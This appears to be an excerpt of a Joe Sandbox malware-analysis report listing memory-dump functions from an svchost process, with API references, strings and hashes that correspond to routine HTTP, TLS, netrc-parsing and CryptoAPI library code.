digest_sspi: MakeSignature failed, error 0x%08lx, xrefs: 00007FFDA55C87BE
WDigest, xrefs: 00007FFDA55C85E4, 00007FFDA55C8A02
realm, xrefs: 00007FFDA55C889C

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID: free$malloc
String ID: SSPI: couldn't get auth info$WDigest$digest_sspi: MakeSignature failed, error 0x%08lx$realm$schannel: InitializeSecurityContext failed: %s
API String ID: 2190258309-863418744
Opcode ID: a0be53019b56e209a83083e119f95400405bf67231d4b25d2b4506225da72e2e
Instruction ID: c4328ea93cb6864ef8a2404d46bbacf8f832616e12e015af851d0a86973dbe43
Opcode Fuzzy Hash: a0be53019b56e209a83083e119f95400405bf67231d4b25d2b4506225da72e2e
Instruction Fuzzy Hash: 87227C7AB0AB4A99EB96CF25E8643AD27A4FB46F84F040035DA4D07B96DF3CE444C304

Function 00007FFDA55C4530 Relevance: 33.7, APIs: 8, Strings: 11, Instructions: 453stringCOMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55C45F7
strtoul.API-MS-WIN-CRT-CONVERT-L1-1-0 ref: 00007FFDA55C4C00

Part of subcall function 00007FFDA55C5090: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55C50A4
Part of subcall function 00007FFDA55C5090: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55C50BA
Part of subcall function 00007FFDA55C5090: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55C50CE
Part of subcall function 00007FFDA55C5090: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55C50E2
Part of subcall function 00007FFDA55C5090: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55C50F6
Part of subcall function 00007FFDA55C5090: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55C510A
Part of subcall function 00007FFDA55C5090: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55C511E
Part of subcall function 00007FFDA55C5090: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55C5132

Part of subcall function 00007FFDA55C55A0: calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55C55B7
Part of subcall function 00007FFDA55C55A0: _strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFDA55C55D1
Part of subcall function 00007FFDA55C55A0: _strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFDA55C55EC
Part of subcall function 00007FFDA55C55A0: _strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFDA55C5608
Part of subcall function 00007FFDA55C55A0: _strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFDA55C5624
Part of subcall function 00007FFDA55C55A0: _strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFDA55C5640
Part of subcall function 00007FFDA55C55A0: _strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFDA55C5658
Part of subcall function 00007FFDA55C55A0: _strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFDA55C5670
Part of subcall function 00007FFDA55C55A0: _strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFDA55C5688
Part of subcall function 00007FFDA55C55A0: _strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFDA55C56A0
Part of subcall function 00007FFDA55C55A0: _strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFDA55C56B8
Part of subcall function 00007FFDA55C55A0: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55C56D2

Strings

(in redirect), xrefs: 00007FFDA55C4C6B
disabled, xrefs: 00007FFDA55C4C8F
https, xrefs: 00007FFDA55C4814
http, xrefs: 00007FFDA55C47D5
Protocol "%s" %s%s, xrefs: 00007FFDA55C4C9A
Too long host name (maximum is %d), xrefs: 00007FFDA55C48BB
not supported, xrefs: 00007FFDA55C4C80
URL rejected: %s, xrefs: 00007FFDA55C465C
%s://%s, xrefs: 00007FFDA55C45C8
Switched from HTTP to HTTPS due to HSTS => %s, xrefs: 00007FFDA55C48D9
file, xrefs: 00007FFDA55C4737, 00007FFDA55C4BDC

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID: _strdupfree$callocstrtoul
String ID: (in redirect)$%s://%s$Protocol "%s" %s%s$Switched from HTTP to HTTPS due to HSTS => %s$Too long host name (maximum is %d)$URL rejected: %s$disabled$file$http$https$not supported
API String ID: 3044576692-1310853161
Opcode ID: 0c43f019cf3d2286844168da101a393e0fe631f7b0ae7fc57494f5ebf14f5c62
Instruction ID: 6bd376aa7a5839ce0ccfc2c1bede11c1ff70bd40448f96bd9866981688c2b245
Opcode Fuzzy Hash: 0c43f019cf3d2286844168da101a393e0fe631f7b0ae7fc57494f5ebf14f5c62
Instruction Fuzzy Hash: 1012CD3AB0A78AC2EB5A8E259564BFA6695FF86F85F444031DA1D43783DF3CE450C308

Function 00007FFDA55BB790 Relevance: 33.6, APIs: 15, Strings: 4, Instructions: 340networkCOMMON

Download Yara Rule

APIs

calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55BB7E6
WSACreateEvent.WS2_32 ref: 00007FFDA55BB897
WSAGetLastError.WS2_32 ref: 00007FFDA55BB8AA

Strings

WSACloseEvent failed (%d), xrefs: 00007FFDA55BBCFA
WSACreateEvent failed (%d), xrefs: 00007FFDA55BB8B0
WSAEnumNetworkEvents failed (%d), xrefs: 00007FFDA55BBAC9
Time-out, xrefs: 00007FFDA55BBCCA

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID: CreateErrorEventLastcalloc
String ID: Time-out$WSACloseEvent failed (%d)$WSACreateEvent failed (%d)$WSAEnumNetworkEvents failed (%d)
API String ID: 853309704-1941740749
Opcode ID: 89116958d5fbd65c511a64a5a93ee8646a0b9384d8c874765f9a1b8ee15a1fbd
Instruction ID: e31ab03c910be8a7cdf9d01da8bfa3fd28757042bdecb9d6f7d53ba755cf0d82
Opcode Fuzzy Hash: 89116958d5fbd65c511a64a5a93ee8646a0b9384d8c874765f9a1b8ee15a1fbd
Instruction Fuzzy Hash: AEF1933AB0A68AC7FB268F2594643BA23A0FB46F94F515135DE4A47796EFBCD040C704

Function 00007FFDA55A76B0 Relevance: 25.9, APIs: 17, Instructions: 439networkCOMMON

Download Yara Rule

APIs

getsockopt.WS2_32 ref: 00007FFDA55A78C3
send.WS2_32 ref: 00007FFDA55A78DF
WSAEventSelect.WS2_32 ref: 00007FFDA55A78FE
getsockopt.WS2_32 ref: 00007FFDA55A799E
send.WS2_32 ref: 00007FFDA55A79BA
WSAEventSelect.WS2_32 ref: 00007FFDA55A79D3
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55A7A58
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55A7A74
WSAWaitForMultipleEvents.WS2_32 ref: 00007FFDA55A7AC0
WSAEnumNetworkEvents.WS2_32 ref: 00007FFDA55A7B0A
WSAEventSelect.WS2_32 ref: 00007FFDA55A7B6B
WSAEnumNetworkEvents.WS2_32 ref: 00007FFDA55A7C4E

Part of subcall function 00007FFDA55AE560: WSASetLastError.WS2_32 ref: 00007FFDA55AE5C8

WSAEventSelect.WS2_32 ref: 00007FFDA55A7BAF
WSAEventSelect.WS2_32 ref: 00007FFDA55A7C7A
WSAResetEvent.WS2_32 ref: 00007FFDA55A7CB7
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55A7CD4

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID: Event$Select$Eventsfree$EnumNetworkgetsockoptsend$ErrorLastMultipleResetWait
String ID:
API String ID: 2466694130-0
Opcode ID: cc7d6baa13fde0ecc7103c46b7b912e3c8826815b7ac451278061ef639a982f8
Instruction ID: a54b9af96ff67a8ff034be88e3297f00cd7fd6d5c19d3dfd257aedd942fed495
Opcode Fuzzy Hash: cc7d6baa13fde0ecc7103c46b7b912e3c8826815b7ac451278061ef639a982f8
Instruction Fuzzy Hash: 6212353AB2A69A86E7528F25E46437A67A0FB86F44F044431DF8D43B96EF3DD441CB04

Function 00007FFDA55A84C0 Relevance: 24.8, APIs: 9, Strings: 5, Instructions: 330COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55A8647
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55A8655
fclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FFDA55A8660
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55A872B
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFDA55A873F
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55A87A6
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFDA55A87BA
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55A8920
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55A8944

Strings

macdef, xrefs: 00007FFDA55A8866
password, xrefs: 00007FFDA55A87F4
default, xrefs: 00007FFDA55A88A0
machine, xrefs: 00007FFDA55A880F, 00007FFDA55A8883
login, xrefs: 00007FFDA55A87D9

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID: free$_strdup$fclose
String ID: default$login$macdef$machine$password
API String ID: 800660972-1563471620
Opcode ID: fbc6d4ea616a47d9033cc3a94d8c705e26261f9c14bc9a1516e398696b9ba258
Instruction ID: 0edcbd58bda0112ff51b8791c6fe33a4365bae233d2dc88d1c5c1bb18a4921d1
Opcode Fuzzy Hash: fbc6d4ea616a47d9033cc3a94d8c705e26261f9c14bc9a1516e398696b9ba258
Instruction Fuzzy Hash: BBD1072EB0E28A65FB6B8E15553837A5690AF97F40F480931DF9E037C7DE2EE4448718

Function 00007FFDA55CE7A0 Relevance: 17.7, APIs: 3, Strings: 7, Instructions: 156encryptionCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FFDA55C7DB0: GetModuleHandleA.KERNEL32 ref: 00007FFDA55C7DF6
Part of subcall function 00007FFDA55C7DB0: GetProcAddress.KERNEL32 ref: 00007FFDA55C7E06

CertGetNameStringW.CRYPT32 ref: 00007FFDA55CE80F

Strings

schannel: Null certificate context., xrefs: 00007FFDA55CE84F
2.5.29.17, xrefs: 00007FFDA55CE891, 00007FFDA55CE8D3
schannel: Null certificate info., xrefs: 00007FFDA55CE871
schannel: CryptDecodeObjectEx() returned no alternate name information., xrefs: 00007FFDA55CE90E
schannel: Empty DNS name., xrefs: 00007FFDA55CE95E
schannel: Not enough memory to list all host names., xrefs: 00007FFDA55CEA10
schannel: CertFindExtension() returned no extension., xrefs: 00007FFDA55CE8A9

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID: AddressCertHandleModuleNameProcString
String ID: 2.5.29.17$schannel: CertFindExtension() returned no extension.$schannel: CryptDecodeObjectEx() returned no alternate name information.$schannel: Empty DNS name.$schannel: Not enough memory to list all host names.$schannel: Null certificate context.$schannel: Null certificate info.
API String ID: 4138448956-2160583098
Opcode ID: 033d419e88f74dd01258e21aad5c9cf4d5328f7fc238b02a5b643d243729d10b
Instruction ID: 9ec7db35f5ef8d8d511999cd30c8074267b75db988b5de959610944ead044f61
Opcode Fuzzy Hash: 033d419e88f74dd01258e21aad5c9cf4d5328f7fc238b02a5b643d243729d10b
Instruction Fuzzy Hash: 7961B36AB0A68981EB52CF16E4203B977A0FB86F90F544135DE8E07796DF3CE445C708

Function 00007FFDA55CB4E0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 79encryptionCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FFDA55CB520
CryptAcquireContextW.ADVAPI32 ref: 00007FFDA55CB53D
CryptCreateHash.ADVAPI32 ref: 00007FFDA55CB565
CryptHashData.ADVAPI32 ref: 00007FFDA55CB57D
CryptGetHashParam.ADVAPI32 ref: 00007FFDA55CB5A3
CryptGetHashParam.ADVAPI32 ref: 00007FFDA55CB5D0
CryptDestroyHash.ADVAPI32 ref: 00007FFDA55CB5E0
CryptReleaseContext.ADVAPI32 ref: 00007FFDA55CB5F2

Strings

@, xrefs: 00007FFDA55CB52B

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID: Crypt$Hash$ContextParam$AcquireCreateDataDestroyReleasememset
String ID: @
API String ID: 2041421932-2766056989
Opcode ID: a7d61c368b22ca0c88d3533642e75b5fa898f9bad18184ddbdee9bb503b67c68
Instruction ID: 4f4b8888f2802862dd0cc940f76a6f4a1324ff6b4512348a35c0c7238f82961c
Opcode Fuzzy Hash: a7d61c368b22ca0c88d3533642e75b5fa898f9bad18184ddbdee9bb503b67c68
Instruction Fuzzy Hash: CE318B3B71A68982EB60CF22E55476AA7A0FBC9F90F448135EA8D53B95DF3CD4058B04

Function 00007FFDA55BD7E0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 129networkCOMMON

Download Yara Rule

APIs

calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55BD838
calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55BD888
calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55BD8AC
bind.WS2_32 ref: 00007FFDA55BD921
WSAGetLastError.WS2_32 ref: 00007FFDA55BD92B

Strings

bind() failed; %s, xrefs: 00007FFDA55BD946

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID: calloc$ErrorLastbind
String ID: bind() failed; %s
API String ID: 2604820300-1141498939
Opcode ID: 7bc519ee8a499a378ec1e593c3fbb73dd3b546b43241a3ee1cd0c05ba7678295
Instruction ID: 8f068009b118fe8923d588858253bd2795ab2a160f5285aa97616ebb9e22466c
Opcode Fuzzy Hash: 7bc519ee8a499a378ec1e593c3fbb73dd3b546b43241a3ee1cd0c05ba7678295
Instruction Fuzzy Hash: C051B936B0AA8985FB629F21D8683B92791FB4AF88F050035DE4E4B796EF7CD441C744

Function 00007FFDA55BD5B2 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 115networkCOMMON

Download Yara Rule

APIs

calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55BD605
calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55BD64F
calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55BD677
bind.WS2_32 ref: 00007FFDA55BD6F0
WSAGetLastError.WS2_32 ref: 00007FFDA55BD6FA

Strings

bind() failed; %s, xrefs: 00007FFDA55BD715

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID: calloc$ErrorLastbind
String ID: bind() failed; %s
API String ID: 2604820300-1141498939
Opcode ID: 4834e58cb49d261b6377d10aa27dd06f19d9498f0a5f6ef789ce10d3bb55ed5d
Instruction ID: 795e7c2f448ee74db46a6a3aff96481aeaef30019cb7463b4f4734b2e154bc73
Opcode Fuzzy Hash: 4834e58cb49d261b6377d10aa27dd06f19d9498f0a5f6ef789ce10d3bb55ed5d
Instruction Fuzzy Hash: B3419C3A70AB8986EB528F21D8283A933A0FB49F84F050035DE4D4B796EF3CE491C744

Function 64947650 Relevance: 10.6, APIs: 7, Instructions: 50COMMON

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 64947664
RtlLookupFunctionEntry.KERNEL32 ref: 6494767B
RtlVirtualUnwind.KERNEL32 ref: 649476BD
SetUnhandledExceptionFilter.KERNEL32 ref: 64947704
UnhandledExceptionFilter.KERNEL32 ref: 64947711
GetCurrentProcess.KERNEL32 ref: 64947717
TerminateProcess.KERNEL32 ref: 64947725

Memory Dump Source

Source File: 00000035.00000002.3359348861.0000000064941000.00000020.00000001.01000000.00000012.sdmp, Offset: 64940000, based on PE: true

Associated: 00000035.00000002.3359315994.0000000064940000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359400917.000000006494A000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359435315.000000006494E000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359469079.0000000064950000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359501861.0000000064953000.00000008.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_64940000_svchost.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CaptureContextCurrentEntryFunctionLookupTerminateUnwindVirtual
String ID:
API String ID: 3266983031-0
Opcode ID: 33ab5fbe6a7f6738baf7fe0598ee7cd881b47e5c4ad5dffd753a986b7fe805ca
Instruction ID: 438d6b427901decc57405f96a3468465558ffb2b952defd0a2bb9f003901ed9e
Opcode Fuzzy Hash: 33ab5fbe6a7f6738baf7fe0598ee7cd881b47e5c4ad5dffd753a986b7fe805ca
Instruction Fuzzy Hash: 6E210479691B0089EB088F65F85478A37FAF749B88F540226DE4D47725EF3AC16AC720

Function 00007FFDA55A6660 Relevance: 7.8, APIs: 3, Strings: 2, Instructions: 321COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFDA55A5BD0: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55A5C18
Part of subcall function 00007FFDA55A5BD0: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55A5C30

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55A68C9
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55A690E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55A691C

Strings

Resolving timed out after %lld milliseconds, xrefs: 00007FFDA55A700E
operation aborted by pre-request callback, xrefs: 00007FFDA55A66E2

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID: free
String ID: Resolving timed out after %lld milliseconds$operation aborted by pre-request callback
API String ID: 1294909896-247252918
Opcode ID: 156e45087dade4cbdfb18956b2dcf3d437a72022adddaf9daba03c3ee53bdc1d
Instruction ID: c62d4c6cbf4d59673031eb297d8a67d071c585c150831f51a20c20ab9c19b9d1
Opcode Fuzzy Hash: 156e45087dade4cbdfb18956b2dcf3d437a72022adddaf9daba03c3ee53bdc1d
Instruction Fuzzy Hash: C7E1946AB1A68A85EB229F2584683BD2791BF42F88F544931CF0E073D7DF3AE445C744

Function 00007FFDA559E4F0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32 ref: 00007FFDA559E50C
CryptCreateHash.ADVAPI32 ref: 00007FFDA559E538
CryptReleaseContext.ADVAPI32 ref: 00007FFDA559E547

Strings

@, xrefs: 00007FFDA559E4FC

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID: Crypt$Context$AcquireCreateHashRelease
String ID: @
API String ID: 4045725610-2766056989
Opcode ID: eda64063375f790d201ea2b42227e0505d930172d25bea1b1fe1ec1d78bfa8e1
Instruction ID: 8252b5eb8efc2a2581018964cd924279f4ca6543f56d8afda756235d88cc008f
Opcode Fuzzy Hash: eda64063375f790d201ea2b42227e0505d930172d25bea1b1fe1ec1d78bfa8e1
Instruction Fuzzy Hash: B1F0626BB2165683F7218F31E81176A63A1AB95B48F448030CE4C86795EF3CD0928B08

Function 00007FFDA559E580 Relevance: 6.0, APIs: 4, Instructions: 33encryptionCOMMON

Download Yara Rule

APIs

CryptGetHashParam.ADVAPI32 ref: 00007FFDA559E5B1
CryptGetHashParam.ADVAPI32 ref: 00007FFDA559E5D7
CryptDestroyHash.ADVAPI32 ref: 00007FFDA559E5E6
CryptReleaseContext.ADVAPI32 ref: 00007FFDA559E5F6

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
